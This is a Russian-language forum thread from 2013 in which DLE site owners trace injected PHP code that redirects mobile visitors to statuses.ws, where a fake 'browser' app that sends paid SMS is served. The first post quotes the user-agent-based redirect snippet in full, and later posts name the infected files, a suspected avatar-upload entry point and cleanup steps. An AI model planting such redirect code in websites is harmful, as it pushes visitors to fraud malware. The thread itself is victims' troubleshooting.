20 Ноября 2017, 00:37:30

Автор Тема: Гадость на сайте.  (Прочитано 11576 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн THY

  • Старожил
  • ****
  • Сообщений: 257
  • Репутация: 3
  • Пол: Мужской
Гадость на сайте.
« : 04 Февраля 2013, 15:22:33 »
Всем доброго времени суток. Вчера на сайте обнаружил некую гадость,
на неё наткнулся случайно, так как никогда не заходил к себе на сайт с планшета. При входе на сайт меня перекидывает на statuses и начинает что-то скачивать.
Порылся в файлах сайта и наткнулся на такой чудо код
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}
Сидел он у меня в config.php,  dbconfig.php и index.php, почистил эти файлы но при входе  на сайт всё равно перекидывает на другой сайт. Может кто сталкивался с таким, где еще может сидеть? Весь сайт скачать нет возможности, нахожусь не дома а через 3G модем у меня не хватит терпения, скорость маленькая и часто пропадает связь  :(
-- Последняя стадия офигевания на работе от безделья:
- Так-с....Спам.....почитаем.....

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #1 : 04 Февраля 2013, 16:47:07 »
У меня схожая проблема, короче когда захожу со смарта, на dle-shop.ru  то , на сайт не заходит а качается какой-то браузер с иконкой как у хрома. Но похожего кода я не нашел.
« Последнее редактирование: 04 Февраля 2013, 16:52:13 от demius »
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #2 : 04 Февраля 2013, 16:53:28 »
Хотя нет все-таки нашел, код такой же как у тебя. Еще в engine.php сидит
« Последнее редактирование: 04 Февраля 2013, 17:01:42 от demius »
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн THY

  • Старожил
  • ****
  • Сообщений: 257
  • Репутация: 3
  • Пол: Мужской
Re: Гадость на сайте.
« Ответ #3 : 04 Февраля 2013, 17:00:49 »
У меня схожая проблема, короче когда захожу со смарта, на dle-shop.ru  то , на сайт не заходит а качается какой-то браузер с иконкой как у хрома. Но похожего кода я не нашел.
Вот  меня тоже качает якобы браузер, но та программка шлет смс  и с тебя деньги стягивают. Нашел еще в файле engine.php, вроде уже не перекидывает на левые сайты  :bravo: :yahoo:
« Последнее редактирование: 04 Февраля 2013, 17:01:50 от THY »
-- Последняя стадия офигевания на работе от безделья:
- Так-с....Спам.....почитаем.....

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #4 : 04 Февраля 2013, 17:04:36 »
да вот и я нашел, меня интересует как эта херня попала  на наши движки.
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #5 : 04 Февраля 2013, 17:05:49 »
init.php проверяй, у меня там тоже сидит
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #6 : 04 Февраля 2013, 17:15:11 »
THY, Какие у тебя сторонние модули на сайте установлены и хаки? Может мы найдем корень зла?
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн THY

  • Старожил
  • ****
  • Сообщений: 257
  • Репутация: 3
  • Пол: Мужской
Re: Гадость на сайте.
« Ответ #7 : 04 Февраля 2013, 17:17:09 »
THY, Какие у тебя сторонние модули на сайте установлены и хаки? Может мы найдем корень зла?
У меня модулей совсем никаких нет.
 init.php чистый, в гугле наткнулся на похожую статью, там говорят, что попало через аваторки gif, с офф сайта дли скачал патч который исправляет эту дыру и еще в папку engine закинул .htaccess с содержимым:
Order allow,deny
Deny from all
-- Последняя стадия офигевания на работе от безделья:
- Так-с....Спам.....почитаем.....

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #8 : 04 Февраля 2013, 17:24:32 »
Дело явно не в патче безопасности от дле, у меня до него это было.
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн THY

  • Старожил
  • ****
  • Сообщений: 257
  • Репутация: 3
  • Пол: Мужской
Re: Гадость на сайте.
« Ответ #9 : 04 Февраля 2013, 17:33:49 »
Дело явно не в патче безопасности от дле, у меня до него это было.
Я просто левого ничего не устанавливал на сайт, откуда оно взялось... Вот на офф сайте пишут http://dle-news.ru/bags/v97/1549-patchi-bezopasnosti-dlya-versii-97.html
Поставил этот патч, теперь буду каждый день смотреть или не появилось опять  :D
-- Последняя стадия офигевания на работе от безделья:
- Так-с....Спам.....почитаем.....

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #10 : 04 Февраля 2013, 17:44:43 »
Блин, я уже что только можно перекопал, у меня все равно высвечивается когда с телефона захожу.
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн THY

  • Старожил
  • ****
  • Сообщений: 257
  • Репутация: 3
  • Пол: Мужской
Re: Гадость на сайте.
« Ответ #11 : 04 Февраля 2013, 17:45:03 »
demius, Скачивай сайт на комп и и через Notepad  ищи в файлах statuses.ws, а еще я с сервера удалил папку с аваторками  :travolta:
« Последнее редактирование: 04 Февраля 2013, 17:47:39 от THY »
-- Последняя стадия офигевания на работе от безделья:
- Так-с....Спам.....почитаем.....

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #12 : 04 Февраля 2013, 17:52:19 »
demius, Скачивай сайт на комп и и через Notepad  ищи в файлах statuses.ws, а еще я с сервера удалил папку с аваторками  :travolta:
окей, сейчас буду пробовать
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн THY

  • Старожил
  • ****
  • Сообщений: 257
  • Репутация: 3
  • Пол: Мужской
Re: Гадость на сайте.
« Ответ #13 : 04 Февраля 2013, 18:02:03 »
окей, сейчас буду пробовать
У меня теперь аватарки не загружаются на сайт  :huh1:
Ты не мог бы мне посмотреть название папки? В uploads вроде 4 папочки, files, posts и thumbs, и еще одна должна быть :huh:
-- Последняя стадия офигевания на работе от безделья:
- Так-с....Спам.....почитаем.....

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #14 : 04 Февраля 2013, 18:04:33 »
У меня теперь аватарки не загружаются на сайт  :huh1:
Ты не мог бы мне посмотреть название папки? В uploads вроде 4 папочки, files, posts и thumbs, и еще одна должна быть :huh:

fotos
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн THY

  • Старожил
  • ****
  • Сообщений: 257
  • Репутация: 3
  • Пол: Мужской
Re: Гадость на сайте.
« Ответ #15 : 04 Февраля 2013, 18:07:15 »
-- Последняя стадия офигевания на работе от безделья:
- Так-с....Спам.....почитаем.....

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #16 : 04 Февраля 2013, 18:27:12 »
Ану зайди на мой сайт  тот что в подписи. дле шоп который. Потому, что я уверен, что нету уже, я почистил весь код, мб на телефоне кеш почистить.
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн THY

  • Старожил
  • ****
  • Сообщений: 257
  • Репутация: 3
  • Пол: Мужской
Re: Гадость на сайте.
« Ответ #17 : 04 Февраля 2013, 18:29:33 »
Ану зайди на мой сайт  тот что в подписи. дле шоп который. Потому, что я уверен, что нету уже, я почистил весь код, мб на телефоне кеш почистить.
Все еще где-то есть, опять скачал этот "браузер"
-- Последняя стадия офигевания на работе от безделья:
- Так-с....Спам.....почитаем.....

Оффлайн demius

  • Ветеран
  • *****
  • Сообщений: 533
  • Репутация: 57
  • Пол: Мужской
  • Веб-дизайнер
    • Магазин-аукцион шаблонов для DLE
Re: Гадость на сайте.
« Ответ #18 : 04 Февраля 2013, 18:30:36 »
Все еще где-то есть, опять скачал этот "браузер"

Пиздец одним словом, я перекопал весь движок, осталось только одно, это сам шаблон сайта.
http://dle-templates.ru - Платные шаблоны DLE

Оффлайн THY

  • Старожил
  • ****
  • Сообщений: 257
  • Репутация: 3
  • Пол: Мужской
Re: Гадость на сайте.
« Ответ #19 : 04 Февраля 2013, 18:32:21 »
Пиздец одним словом, я перекопал весь движок, осталось только одно, это сам шаблон сайта.
Попробуй искать getinternet.ws
-- Последняя стадия офигевания на работе от безделья:
- Так-с....Спам.....почитаем.....